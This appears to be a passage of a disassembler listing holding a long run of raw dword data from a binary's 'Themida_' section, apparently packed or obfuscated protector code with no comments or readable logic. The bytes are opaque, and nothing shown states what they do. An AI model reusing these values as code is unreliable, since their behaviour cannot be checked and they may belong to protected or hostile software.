dd 0EC98FDFh, 4AF77625h, 0B790677h, 0CBAC66Ch, 8Ch, 0DC7EB98Bh
dd 881EB249h, 0F4B40A9Dh, 0C0762432h, 90410FA7h, 0B97C6C4Eh
dd 4E0C4C22h, 0DFD87C6Ch, 4F3C7B77h, 0D1B3B63Dh, 512D3EC5h
dd 7C6C4E17h, 2C5DDAA5h, 6C4ED59Eh, 5970E7Ch, 98D27879h
dd 8B7AF923h, 0DE6AAB4Eh, 361EE9Dh, 5BCA90ABh, 0BC430303h
dd 941CB082h, 0F4B40A9Dh, 0C0762C21h, 4630FA7h, 9B9E2577h
dd 98346BEAh, 61600C1Ah, 0BC1293E0h, 90AB5D02h, 3035BCAh
dd 557C7B38h, 89C6BB2Ah, 2692AF6Ah, 47ECFC52h, 49DC7EB9h
dd 7348F175h, 4B38477Ch, 1724473Ch, 7C8A5D50h, 0DC72F3F6h
dd 3A3B73Ch, 0E091901Dh, 0E7850283h, 7C0D08ABh, 5FBCB1EEh
dd 5D5CD9B8h, 0DDD45C2Ch, 0F2A929ACh, 0A315532Bh, 0C4A3B3C7h
dd 61DE8C47h, 5F3D38BBh, 0D4A5A043h, 74852FC1h, 0FC968ABh
dd 2350D196h, 842CEC42h, 911E159Eh, 752E65E0h, 2AA1A393h
dd 5A14BA63h, 0B1B43FE5h, 0CD3CC7D3h, 7F540BFh, 0CD58D985h
dd 19B1AC33h, 0DEC9Ah, 806B0000h, 32D395E9h, 86E17624h
dd 85FFA430h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah
dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
dd 5404EC83h, 8124048Fh, 42404h, 89520000h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 2434895Ch, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 5653243Ch, 713558BEh, 5EF38939h
dd 4E1FF381h, 0E3C12DC6h, 17EB8103h, 814F7E05h, 0EEBF56EBh
dd 5BDE894Fh, 4EC81h, 24890000h, 24048124h, 4, 789E685Fh
dd 34890000h, 8478F24h, 5F2434FFh, 4C481h, 34FF0000h, 0C4815E24h
dd 4, 0F962FCE9h, 0E7B838FFh, 3064F1Ah, 0D5E0FFC5h, 0F836EAA8h
dd 6165EE60h, 1F048B40h, 811B7DA3h, 697243B7h, 4100DF75h
dd 0EB646695h, 8, 24969500h, 47DE900h, 0AF680000h, 0E9064F1Ch
dd 0FFF962BDh, 4F1D3468h, 62B3E906h, 0B668FFF9h, 0E9064F1Eh
dd 0FFF962A9h, 0C8A8A74Eh, 315356DCh, 0A5C7C265h, 284849E9h
dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h
dd 0EF865D3Fh, 734DD99Fh, 0C641E77Ch, 8BF8F985h, 0E87F7AF9h
dd 7ED4B354h, 78310A62h, 0EC8DFAFDh, 9BA6F86Fh, 577C6C3Bh
dd 0C98B5B28h, 807C6C3Ah, 2AC669D6h, 8F1FB78Ah, 0DBA90694h
dd 30F4Eh, 76D9D500h, 30A7655Eh, 3283C599h, 56517624h
dd 0F4B91580h, 307C6C42h, 0F23B9577h, 0EA79D1A7h, 59C0BD1h
dd 5FE5CB6Bh, 0CFACDD5Ah, 0AB006967h, 36C7799h, 0F7892372h
dd 0B61C9DEAh, 842CDDE6h, 2990C8Dh, 0D561366Bh, 42668297h
dd 89635414h, 0BD116073h, 738963FBh, 8921AEC9h, 0D19C43CBh
dd 848B0079h, 7DDCB03Bh, 4D2A46ECh, 0A6BD46DAh, 2E25CEDAh
dd 7420629Fh, 3BAB6417h, 2E1h, 0D4B48B2Ah, 5D3F3AB8h, 0C1A3BE41h
dd 34542DD5h, 0BFDDDC58h, 7B073F94h, 0F88E1A66h, 96138FEDh
dd 1EA5F193h, 0D3EA791Bh, 734EBDFBh, 0D2B50B7Ch, 25CF7EB9h
dd 0D5525320h, 4EC86C42h, 851C7C73h, 734D6F29h, 0B5327D7Ch
dd 1BE28E22h, 5CC1BCB3h, 8DEF6CFCh, 0FDFC7814h, 2678EF8Ch
dd 7C73CD62h, 0E9A9016Eh, 0AF3F4C4Dh, 7C73CDE4h, 99B447ECh
dd 4EE4DFDAh, 0CBCE74E4h, 0F124F34Ah, 9D1218F0h, 25CEDh
dd 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch, 465BE7B3h
dd 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h, 69FA869Dh
dd 50407856h, 3A8C7C73h
dd 0DC7EB969h, 0BEF9B249h, 0D35CFA30h, 70F1F47Fh, 1258FCDAh
dd 0C3AC7C74h, 724CE3B2h, 7C741236h, 0DD9BF382h, 0EB7C7411h
dd 29A70F8Ch, 7C74116Bh, 68B774E6h, 832B2ED4h, 0AECD30EBh
dd 19AEADBh, 85310000h, 0FB8AFBFEh, 0B2C3DE61h, 36BD5DF5h
dd 4D6B27C7h, 2CAD071Bh, 38BB554Ch, 0FE39953Dh, 1CD0C95Ch
dd 0C235880h, 36880DA5h, 7C6CD107h, 0C8CF6A06h, 0A53A5662h
dd 2BA8C9A6h, 31B14B5Ah, 783C9A30h, 0D37C6CD0h, 3C75B867h
dd 2EADCD87h, 8418BEF2h, 0DBA9B49Fh, 4945h, 15902C00h
dd 94046512h, 1D9AEBEEh, 7EB912B5h, 647549DCh, 0B07C6C40h
dd 58EF86F7h, 6C404206h, 49E18E7Ch, 6C40490Bh, 0FCE97F7Ch
dd 7C75FD8Fh, 15CA880Fh, 0D88733DCh, 0FBFE7B15h, 2945ED8Ah
dd 0DBA903F2h, 0B328h, 0FE857300h, 72FE8AFBh, 0A854E87Fh
dd 4CDBD8A9h, 24333672h, 4DE58276h, 0C1D1522Eh, 28492623h
dd 25CEDAABh, 0AE94422Eh, 0DA762437h, 5E3E5A59h, 0F4FD5365h
dd 1189CF3Bh, 91EEE383h, 0AA049310h, 7C6EE2BBh, 3BD5402Fh
dd 0B16A9BFh, 25B7EE8Ah, 0EBEE8A98h, 369C1D9Ah, 0F1CDDE5Ah
dd 7C6EE1B7h, 42FD7A05h, 0C568B8Bh, 0DA44F2ADh, 33000000h
dd 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h
dd 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h, 82DCF360h
dd 7C7350C6h, 85DB4C12h, 0C98F8F9h, 0D1809467h, 898C37B4h
dd 63039D08h, 1BB8C86Eh, 6CFBFE85h, 0A14753D0h, 29D6D7A4h
dd 1DA6F281h, 29127A06h, 5A9AF463h, 6E7C6C81h, 0AFFF9601h
dd 7C6C80E9h, 732288F7h, 3C5C5DD9h, 6C80E2A2h, 966D167Ch
dd 0C129E0Ah, 90116E61h, 52F46213h, 53000000h, 49DC7EB9h
dd 734ED375h, 2946217Ch, 0BFDDD85Bh, 344540E3h, 0DF04C8A6h
dd 1AC1B982h, 0B8452DD6h, 26B8C8B9h, 5F3DBA3Bh, 0BC51A043h
dd 8EB3F8E4h, 0B5C7B435h, 0C047340Dh, 0FC87AD12h, 51D26EF9h
dd 0EE442552h, 263DC6D2h, 3D949h, 413E0000h, 0E5FC85DAh
dd 787F0494h, 0FDFC790Bh, 7F6AFC8Ch, 0F3F6720Eh, 774AF682h
dd 0F7CA6A06h
dword_5AB468 dd 7655EA86h, 0CCC96B39h, 5456B9BFh, 4C6815Eh, 83000000h
; DATA XREF: Themida_:00550A21o
dd 348704EEh, 28685C24h, 89000007h, 5268241Ch, 8900003Eh
dd 0CB68243Ch, 8B064F1Bh, 0C481241Ch, 4, 8904EC83h, 4812424h
dd 424h, 0EC835F00h, 241C8904h, 8B08478Fh, 8950243Ch, 405E0h
dd 4050000h, 87000000h, 8B5C2404h, 8953241Ch, 4C381E3h
dd 81000000h, 4C3h, 241C8700h, 5E4BE95Ch, 0B824FFF9h, 64F1FB5h
dd 0E0FFC503h, 511C5DD6h, 6C13AD56h, 30F06C17h, 1EB2FFE1h
dd 7235B28Eh, 2EFF81A2h, 6B9AAD72h, 55D5FFB0h, 57C9B1F8h
dd 50993B2h, 4B608A85h, 786847EFh, 2818D375h, 53859CE4h
dd 3ED15431h, 2180AD81h, 1C66978Bh, 3E5B24DEh, 442F1605h
dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 8DB58B00h, 83064812h
dd 850F00FEh, 22h, 0FF985C6h, 68450648h, 8E726969h, 0ED5B5FFh
dd 858D0648h, 64B7F60h, 8589D0FFh, 6481AD9h, 3E80F08Bh
dd 31850FE9h, 8D000000h, 4D7BA385h, 8BD0FF06h, 48182DBDh
dd 84C78106h, 8B000011h, 48128DB5h, 0B9F78706h, 8, 0B58BA4F3h
dd 648128Dh, 0A78D858Dh, 0D0FF064Bh, 2A79B58Bh, 0FE830648h
dd 22850F00h, 0C6000000h, 480FF985h, 0F4685406h, 0FFFF4EBEh
dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 798589D0h, 8B06482Ah
dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 6482A79h, 7BA3858Dh
dd 0D0FF064Dh, 182DBD8Bh, 0C7810648h, 1184h, 8B08C783h
dd 482A79B5h, 0B9F78706h, 8, 0B58BA4F3h, 6482A79h, 0A78D858Dh
dd 0D0FF064Bh, 858DC361h, 64F2084h, 23B98589h, 8D8D0648h
dd 64F2228h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 2FC35242h, 89352905h, 4814058Dh, 0EDBD8B06h, 0C706482Fh
dd 48302585h, 62D406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 4F5CA8F1h, 11F1BD8Bh
dd 85C70648h, 6482AD9h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h
dd 3C0A1E2Dh, 0DBB90A5Dh, 4DB5FFD1h, 66064818h, 95FFF18Bh
dd 6480E71h, 29ED950Bh, 6A0648h, 92D95FFh, 0C08B0648h
dd 8FF00EEBh, 0C617454Dh, 0D99B2993h, 0ED8C8BBFh, 0FE0604EBh
dd 0DCE903D6h, 6800000Ch, 64F241Ah, 0F95C24E9h, 24FF68FFh
dd 1AE9064Fh, 68FFF95Ch, 64F2736h, 0F95C10E9h, 284868FFh
dd 6E9064Fh, 68FFF95Ch, 64F2BABh, 0F95BFCE9h, 2CA468FFh
dd 0F2E9064Fh, 68FFF95Bh, 64F2DB6h, 0F95BE8E9h, 696809FFh
dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h
dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 5498D0AEh
dd 82247C73h, 0FBFE8501h, 7E75FE8Ah, 59E6B2E7h, 51E08F12h
dd 11ABFAF9h, 98199693h, 0C4DB6632h, 0A4E4BA51h, 307624E9h
dd 35D0DF77h, 0B1F7C75Eh, 3F7624E9h, 3BE0DA70h, 0DF6472F1h
dd 4DCAABD8h, 0F2F7732Fh, 0D1592E63h, 6F1D5D9Fh, 0B1EABBC7h
dd 7A1F39D9h, 46025C34h, 92762496h, 0ACE39415h, 0A48C875h
dd 0DD663298h, 0A95633D5h, 2C2BC8D8h, 89536C4Ch, 0D39D401Eh
dd 2E497C6Ch, 0CEC38151h, 0DC8E7C6Ch, 8EC2396Fh, 3318DBA9h
dd 71000000h, 0CE5A57DFh, 515E2F22h, 7EB9EEF9h, 647549DCh
dd 0B07C6C40h, 0BAEF86F7h, 0BCF743C1h, 28A60C87h, 7C6C426Ch
dd 90B46BE7h, 0DBA91E6Bh, 0DBB1h, 0FE85EA00h, 64FB8AFBh
dd 24334E0Ah, 0B51D9A76h, 0CD5859E5h, 22B5B033h, 24330C4Ch
dd 77DFD876h, 8C8B2878h, 0E4E18719h, 78790597h, 542453FBh
dd 0E2855CAFh, 0A3B921B3h, 0AB884622h, 22762516h, 48EEE58Eh
dd 0B92C2BC8h, 0F1829F27h, 3DD5E97h, 5D6DC573h, 30A7A241h
dd 8E9149Ch, 0D3FD2CBEh, 70314ECFh, 0C8F3DDDAh, 323B9302h
dd 0F67C6D20h, 6B09199Ah, 1390E16Eh, 9DA6F692h, 0D82A9C0Bh
dd 94150AD3h, 644BAD01h, 1E9982B7h, 5B49F587h, 3E5ADBDEh
dd 7CC3C662h, 129EDA1Ch, 69F5651Ah, 9F00000Ah, 2D791B16h
dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h
dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch, 7C73572Ah
dd 857710B6h, 0C98F8F9h, 63006067h, 49DC7EB9h, 88961EB2h
dd 1F9CEDECh, 2A80E19Eh, 6C401DACh, 52772C7Ch, 47C26649h
dd 630CAC02h, 4CE98312h, 0ADF7E54Dh, 0A47C6C82h, 16AA752Ah
dd 78FA966Dh, 42B9D57Dh, 98DBA95Eh, 0A5h, 0E8FE8503h, 0AA23BE4Dh
dd 28789851h, 0BCBD39ABh, 5021AECFh, 815AB45h, 18AE3A7Bh
dd 49F5A50Dh, 0C8AB3B48h, 0C0762456h, 4D442423h, 9C3237B3h
dd 37077FCh, 4E5CD874h, 5E2FACA3h, 2520C351h, 4406318Dh
dd 7770FDD1h, 0CBB47C6Ch, 54F6C1A9h, 5FAEDC1h, 16E82B7h
dd 7B7EFA96h, 0E0E18D19h, 9E6FF15Dh, 0DA48C712h, 984h
dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h
dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
dd 73570D4Bh, 8205DB7Ch, 98F8F985h, 60670Ch, 0E8FE8563h
dd 44045A4Bh, 90762433h, 98E99617h, 0F37F6B08h, 4AE671FEh
dd 0DFDCADA8h, 0B7FD6B77h, 0E8762432h, 0B8E87CB3h, 42E848D8h
dd 4A562DD6h, 0AEEAC45Bh, 3A762481h, 0BE45D57Dh, 35BECABBh
dd 0B733413Eh, 0DB7C5B2h, 96297B08h, 6BDFA8Bh, 0A83EF7B4h
dd 6018760Dh, 6C762481h, 4A31AB03h, 0F6B20CA3h, 0C2762481h
dd 0E68D0DA5h, 32E981E3h, 0E8DDE141h, 0B1h, 0CF7EB933h
dd 0B2B73325h, 0A627A4C5h, 4F125F2Fh, 515E7C6Ch, 4DD29220h
dd 7C067C6Ch, 0FC780879h, 49098CFDh, 6B05D92h, 0AFFF9659h
dd 7C6C4DE9h, 99FF88F7h, 4DFDFD6h, 0CE3549E1h, 14DBA981h
dd 6Dh, 32FE478Fh, 2D167624h, 0DBA6F86Fh, 177C6C45h, 109C0868h
dd 0E5626102h, 5DFF3894h, 0B78A36CAh, 7D18761Fh, 0AC82B44Eh
dd 0E5EBCFF7h, 6CC21802h, 18B4234Ch, 79EA9B86h, 9045552Fh
dd 41D3508Bh, 0A8C9A6A3h, 8F2A6602h, 0AA95FB88h, 381975E0h
dd 517C6C67h, 56A4E4BAh, 81377C6Ch, 9330B79Ch, 0FA7C0B0h
dd 0CA640463h, 57Ch, 680B8049h, 0EB1D8C67h, 0B13E31BCh
dd 0D07A4519h, 0C046945h, 7607C6Dh, 0B89CD876h, 2DC87C6Ch
dd 0A44F5D2Ah, 3FC0D0A1h, 0D08F4320h, 89FF61Bh, 6CB8F2B6h
dd 19B1FE7Ch, 57CCF8A7h, 8DDBA994h, 538h, 95E98016h, 762432D3h
dd 17646501h, 359D1A96h, 3803A339h, 278E0392h, 2CA24DA2h
dd 0B5098C22h, 7C6CADE8h, 91733Ch, 0B3C0C76Ch, 157E5CF2h
dd 812631C8h, 0ECAC02B6h, 0F825B186h, 15A73EBFh, 90E7946Dh
dd 0B1867A3Eh, 0B8394625h, 122B8312h, 332BF9B0h, 6C1D1C99h
dd 6C0BA70Fh, 0C486B11Fh, 9E26BA51h, 1EA6F283h, 0AE2C8203h
dd 26352F46h, 0EB821592h, 84D2CF51h, 25B234C4h, 563F9710h
dd 5E3A39BAh, 1BA2A142h, 63130039h, 4DE2900Fh, 0B3000007h
dd 415D3F32h, 0CEDAA6A3h, 524E2A39h, 0E1BDDFD2h, 1F244445h
dd 0EFE28EB6h, 928F118Dh, 181F9AF6h, 80872C78h, 25C73E0h
dd 7C735A46h, 855BCC92h, 0C28AFBFEh, 2DC453F9h, 32803896h
dd 234C7624h, 4448CD8Bh, 797C6Ch, 772E8E0Ah, 0D1E1496Ch
dd 5AD3FD6h, 5E04441Ah, 0D7D07C6Ch, 0A9EFBF56h, 377C6C5Dh
dd 9933E248h, 6F620E1Ch, 0E2E1821Eh, 16971495h, 0E2811B8Ah
dd 26C34FE7h, 0C4845223h, 327C6C5Dh, 7C6C6D72h, 6CFBA19Ah
dd 0E642D237h, 5BF3EFF1h, 0FACDE4BAh, 9E1982B4h, 0BB1351E1h
dd 0A5417624h, 3DC5D7A4h, 8898C37h, 0AB10DA7Bh, 1ECD7992h
dd 0E186CD36h, 0BC255EDDh, 0DDF9F8F9h, 21FB63CBh, 0D2000000h
dd 0F010C4D9h, 47EFFADDh, 5BEC803Ch, 2D16E64Ch, 8BA6F86Fh
dd 477C6C44h, 1BDB4B38h, 38000000h, 0D395E980h, 1762432h
dd 6D0A6663h, 8C4E69C5h, 46444519h, 17907C6Ch, 0FE85FD66h
dd 2E644FBh, 5FD012A1h, 63BAFh, 2D24CD00h, 0D4D1534Fh
dd 5847D8B4h, 0CDC46C38h, 7277F3AFh, 9CA40D16h, 27731110h
dd 0A8E48481h, 326E0A0Dh, 7DD6B2B1h, 5A54146Ah, 0DE607C73h
dd 0DC7EB945h, 42A87549h, 60197C6Ch, 0A2125FE6h, 0EC8C22ABh
dd 1E7F3995h, 224D7C6Dh, 0C39B32A5h, 7C6D1E85h, 0F1FE5453h
dd 670500A3h, 0B8592CE9h, 0BA5864A3h, 1514912Bh, 13AF0764h
dd 4BDA80BBh, 7411DB4h, 0D5972809h, 535604AAh, 9F9D701Ch
dd 93116310h, 99A20A96h, 770A64F3h, 0B3A3B818h, 6D3787F4h
dd 0E4972817h, 6893B56Ah, 0B2FCE2F7h, 15Fh, 287EB9E9h
dd 0F52CB908h, 0DF76F7C0h, 6D193E8Fh, 9A0D6A7Ch, 6D6647E1h
dd 23544F94h, 42DD9E97h, 8F2C82A5h, 117376FDh, 91EDFE85h
dd 7C6D25D7h, 6C1D9AE5h, 0B86017DEh, 0E17B1AA3h, 48294643h
dd 0EC33E8E2h, 988F5CB7h, 0A901D2BFh, 2D4F4AE9h, 60F7F271h
dd 882E21CCh, 329A5BEBh, 39CEBE73h, 0A34F5D2Ah, 0FAD1BE5Ah
dd 0BF3CE2ACh, 0D48B47CEh, 8F21781Fh, 1F9CEDF8h, 924605B7h
dd 64650111h, 42D970E7h, 6CE82C6Ch, 0AFFFB87Ch, 7C6CE7E9h
dd 18059BF7h, 0FB97339Bh, 56EA7D78h, 0C5A2D3AEh, 330E4E6Dh
dd 0E7713787h, 237F7C6Ch, 0B5F28386h, 702A434h, 1D880976h
dd 6CE82741h, 0EE8AF57Ch, 8017B58Eh, 0D4B157E9h, 0F245507Eh
dd 169182B4h, 0D296E87Fh, 1E7624F1h, 0EEBA3991h, 76224E45h
dd 9FCC02CDh, 5FBC8DE8h, 6F11A1DEh, 6876250Dh, 44EF35EAh
dd 0A5D2D152h, 0AB2547C4h
dd 0EA79468Fh, 308E25BCh, 0EA791578h, 2D6B3B44h, 0BBEA7916h
dd 0BA8656FCh, 872C7818h, 0D563F380h, 0BA70C0BCh, 2D4B661Bh
dd 99A24769h, 18C0BF31h, 0A0FC9C9Bh, 19770403h, 95E97C1Eh
dd 6E805B60h, 7F72FF91h, 49DCDBD7h, 86C77250h, 66F8F7D9h
dd 3454FA7Bh, 53BAh, 87B6EB00h, 0B191ADE6h, 0B9E8FB53h
dd 0B749DC7Eh, 0F79E3411h, 6C448AA7h, 4839467Ch, 28BFBA38h
dd 0DE1FEE94h, 8EDA1A29h, 0A5C56DEAh, 77945F0Eh, 2B5859E5h
dd 5D48DE4Ah, 17E74F2Ch, 63FD682Ah, 0F6B7C4C1h, 0A7D9B560h
dd 257C6C35h, 0B231CB5Ah, 67001FB7h, 99FBFE85h, 73079308h
dd 0C28E022Dh, 0E5A7906Ch, 45951C72h, 0FFB47C6Ch, 10CCE9A8h
dd 7E7AD086h, 2EDA631h, 9E6136EFh, 0B64ACB63h, 6CECC00Bh
dd 0E54FE308h, 0ED880464h, 8AE47BEAh, 7C6C7ACEh, 86359D1Ah
dd 0D3D65DEFh, 5530D6A2h, 95AE7ED4h, 70E60F7h, 5382B48Dh
dd 0CD972754h, 0FE76249Bh, 53C2C162h, 247C3D7Bh, 46EC8B76h
dd 980FCDF6h, 0D0667904h, 9C586945h, 0DF717C6Ch, 1F3DAA53h
dd 382CA87Bh, 186713BBh, 9D99DB6Bh, 23CF7C6Ch, 0A743512Eh
dd 9D9EDAB4h, 4D2A7C6Ch, 0F6C4BFCCh, 781FF009h, 0A1A44FE1h
dd 0C583D3D0h, 0F37C6C9Dh, 6300716Ch, 8EC09611h, 650CF7D1h
dd 0D9FDBA9h, 2CA6061h, 22h, 0DC7EB999h, 44DC7549h, 4F287C6Ch
dd 2B6D41D8h, 0B97C6C44h, 0AB5B58FEh, 25h, 0A5A046DAh
dd 7EB97A0Dh, 1EB249DCh, 83E09194h, 243295D3h, 0EE442376h
dd 46525727h, 29E7C6Ch, 91EE6F62h, 0FBFE85F4h, 0A102EC44h
dd 0B525DA12h, 2D8h, 0E888872Eh, 513336BCh, 0C5A7A245h
dd 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah, 6A1783E1h
dd 1A99F597h, 0CFE67D1Fh, 735DB9FFh, 0E6A1077Ch, 8AFBFE85h
dd 127E75FEh, 4CDB81BAh, 6C45CB72h, 0E3901F7Ch, 6C451153h
dd 0D18E387Ch, 0F5F0720Eh, 3F4FE784h, 0DBA900C4h, 2C1Eh
dd 7EB98500h, 647549DCh, 0B07C6C40h, 6C2886F7h, 0E77C6C3Fh
dd 6B90B46Bh, 0B1DBA903h, 0E1h, 0CFF8418h, 56F912BBh, 41E9965Ah
dd 0E8FE8526h, 81DD4857h, 762432C7h, 9CED6A15h, 1061600Ch
dd 97E4E380h, 197B7E05h, 754CF488h, 3794FFDDh, 0A7397624h
dd 3475021Fh, 7271F29Eh, 0EF97A16h, 9C8B336Dh, 0DEAF2CFEh
dd 9007C5FEh, 6CFB6F3Eh, 9CFCBB7Ch, 0CE59033Ch, 1918A537h
dd 9B861868h, 2926B41Ah, 0A182B78Dh, 31BD4FC6h, 0B8445030h
dd 0F02006B9h, 6926129Eh, 1DFF9h, 81802100h, 80DB7E3h
dd 0BCAB3C68h, 2120C0DCh, 0D6AB5743h, 0F0C8A9CAh, 7B177574h
dd 0C98F8E5h, 96026E61h, 0D98A16EDh, 5EB0E8C6h, 0AA3C7C73h
dd 0EBF985F9h, 0A8C84954h, 4C0C62F9h, 98762433h, 0EFFA8D1Fh
dd 0D928CB47h, 0D1710143h, 3921393h, 422E376Ch, 3745B54Ah
dd 24852167h, 50C0AF76h, 6C7CD2D5h, 0DC7EB9C7h, 2711B749h
dd 0B7F48580h, 0AD387936h, 243297D1h, 0F45A2576h, 403C4D21h
dd 99E87C6Ch, 6C3F83C5h, 0A956517Ch, 404A0AD8h, 0F27E7C6Ch
dd 314E41ECh, 0F682F370h, 5C07744Bh, 9778B16Eh, 0DB4064DBh
dd 1DBA903h, 0A6h, 0FBFE859Ah, 0C261FB8Ah, 61C9B6C7h, 473435B1h
dd 24378CF7h, 787F0476h, 0E0E78C18h, 58023D93h, 66ACF1CDh
dd 0BFF87C6Ch, 0E8EF9428h, 6D562642h, 879A27B9h, 9FD989F6h
dd 2D7C6C5Dh, 7C52C542h, 82B6FFA4h, 791087E0h, 0BB737D00h
dd 389E614Eh, 0BFDDDC58h, 0FB4247E3h, 129ECC61h, 0CD2AD857h
dd 33000000h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h
dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h
dd 82DCF360h, 7C735FC6h, 80DB4C12h, 0E54D44ECh, 0E8888935h
dd 0A53037BCh, 0C46A6F0Bh, 0EC801FA4h, 75324346h, 0B3B63DDDh
dd 360DB6C2h, 9339026Ah, 57116D04h, 65762432h, 8DE1B41Ah
dd 7C735504h, 0A9A85420h, 0AA495B28h, 3DD4CDAFh, 740500A3h
dd 55216737h, 0C0AF7C73h, 0E05AE6Ah, 0C56D2671h, 0E7DFF3C0h
dd 7A0B49E1h, 17820DB4h, 0B73CE45Bh, 2FC1D0B0h, 74248A87h
dd 0E9BBC8CFh, 693B4849h, 0EFBDCAD7h, 653D4A47h, 0F89F540Bh
dd 0D45F857Ah, 5CE7B3D1h, 0C65D2859h, 0FA93B0E8h, 0DB733C79h
dd 3DDh, 0DA413A00h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh
dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh
dd 28E868B9h, 0C890000h, 7D8A6824h, 2C890000h, 6D166824h
dd 3C890000h, 8EBB5324h, 81545414h, 0B31FDCEBh, 44BE564Eh
dd 0F74F9E17h, 0F68146D6h, 0B38E3E82h, 895EF331h, 8B545BDDh
dd 0C481243Ch, 4, 0EF895752h, 895FFA89h, 0FF5A0857h, 815F2434h
dd 4C4h, 242C8B00h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
dd 0F94F5CE9h, 0CFA6CFFFh, 0D1C8A0B8h, 0B87E1DE3h, 64F2EA8h
dd 0E0FFC503h, 4DEDF8ADh, 679A1131h, 3EB7C4E8h, 30BD04EBh
dd 0CAE974CFh, 0C7000005h, 5541233Eh, 0D2CEAAAFh, 66325E4Dh
dd 0F5A1C3DEh, 0B284849h, 131692AAh, 86832571h, 0C03AEFAh
dd 0B4B3306Ch, 16687FD4h, 7C736252h, 855FC89Eh, 0D56CFBFEh
dd 2432BFF9h, 0F3710D76h, 7BF8B9F6h, 28D4A4D3h, 0D45F4B29h
dd 53D0A0D1h, 0D7C8C154h, 81DE1DF4h, 5C2B48EEh, 48AFE9C5h
dd 723D7624h, 0A5B63CDCh, 24488FC9h, 0D5525D76h, 6EDD8DA4h
dd 125628BFh, 3E762449h, 0AEC9BBB6h, 85476FD5h, 0B41AD8CAh
dd 38585FE4h, 0A2CEC16Ch, 7744BF6h, 0C385D970h, 117624F1h
dd 0F16A2E80h, 9767624h, 0D0762288h, 510184F5h, 0B7BB46EAh
dd 0D7B5320Fh, 115727BEh, 3F7624F2h, 0ACCDBAB7h, 9F7BD3DCh
dd 0D2601114h, 7624F193h, 925D02BCh, 15AADF19h, 32EA90CEh
dd 0EACC469Fh, 0A7379F1Ch, 0DDE1A37Ch, 7AA6h, 26780F00h
dd 7624D362h, 9590126Eh, 8525BE14h, 0FB8AFBFEh, 70C6C361h
dd 24332462h, 0D6A95476h, 2B2ECBD9h, 0B56A445Ah, 64DB977Ch
dd 0E10EDB40h, 0B01DDh, 0D1680000h, 243EBBFDh, 0C86E0976h
dd 0ECFF85BFh, 2432D692h, 485E276h, 0A481891h, 9CEDE88Bh
dd 91CA6A1Fh, 7007B41Ah, 235057DCh, 0A5D2CF51h, 23EF47C4h
dd 0A5F78481h, 7C77041Dh, 690BD18Eh, 13900C6Ch, 85EF7414h
dd 0F98BF8F9h, 79017E7Bh, 1C955807h, 50209614h, 0E2E7836Fh
dd 0A14DCD65h, 49B35A0h, 0A30B6819h, 0EDE88B07h, 0CA77099Ch
dd 2CB35FF7h, 484F4031h, 5B9BDDB1h, 4E297624h, 1F09F6E8h
dd 0DDE139F4h, 872Eh, 0F9857500h, 0F8D66DF8h, 762432C0h
dd 7E16630Ch, 0ECE1BAD8h, 5C2C4BE3h, 84AFDCCBh, 27C369D6h
dd 9A19B322h, 2981EE9Fh, 60610D99h, 56E88413h, 0EF7D3A4Bh
dd 72334045h, 49B43CDCh, 0D8B1D683h, 1A6BE8C3h, 0AE8645F1h
dd 0DDE1C465h, 55BFh, 2F7F1600h, 76251069h, 1D980877h
dd 0A60C6D1Ah, 0F8F9851Dh, 0DF60FC8Bh, 3AE6AC0h, 0AC02990Ch
dd 762432ECh, 3307411Dh, 0AAD57624h, 7A79D1DEh, 86AA11DDh
dd 0FE85E7FAh, 8DFAFF85h, 2432783Dh, 0A41BD776h, 0E10E9B80h
dd 0D37408DDh, 50E687F4h, 18Ch, 0E2851700h, 79FA96E7h
dd 1DB6EB7Ah, 43805B20h, 0A2D3D653h, 0C1EE44C5h, 423336B3h
dd 0CEA08D36h, 7624868Ah, 0DBA82956h, 0FD32E9C3h, 0B963D89Ah
dd 0D195CF26h, 32EA9FA3h, 0B532B3B6h, 75338B22h, 437624DFh
dd 9AF28E24h, 126CFBA1h, 7C6CF367h, 8978FA96h, 0AF24FC6h
dd 0F55DDA55h
dd 0BACDBAC5h, 0E9949A26h, 51C16916h, 0ABEDC1D2h, 397C6C75h
dd 0B5C2C76Dh, 0AAF677F4h, 17E75FEh, 6C75F5B1h, 0CCC5D07Ch
dd 40B43E80h, 0B02A80CEh, 948221CBh, 0FB78E8EFh, 61EE8FFCh
dd 0E9EC9703h, 986B0898h, 0B10D74C9h, 7C6C55F7h, 64C9BAC5h
dd 96E76403h, 122C65F0h, 819A26FBh, 15CA842Ah, 0B29136CAh
dd 820EA4C5h, 616FF1E1h, 0F4B5C2DFh, 0C86A0677h, 0ADCF4CCDh
